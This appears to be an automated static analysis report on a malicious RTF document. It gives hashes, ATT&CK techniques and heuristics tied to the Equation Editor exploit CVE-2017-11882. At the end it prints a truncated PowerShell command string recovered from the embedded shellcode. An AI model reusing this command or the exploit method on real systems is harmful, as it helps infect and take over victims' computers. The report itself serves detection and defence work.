Malicious RTF — malware analysis report

Static analysis result for SHA-256 f7db34c174e66961…

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28
MD5: 1db9668fb1962d7cfc5aa87adbc1bd9e SHA-1: f30b62a2b698ed433c370dbf22d0007c3124a1d5 SHA-256: f7db34c174e6696187cb8f0fd10c4d91bc0c864fa6e9cf7909996ca8e0d0771d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 3590 bytes
SHA-256: 34d168fa1fb1cab42148428a3869504fa7909ed12755ba674497e29da1e23df3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE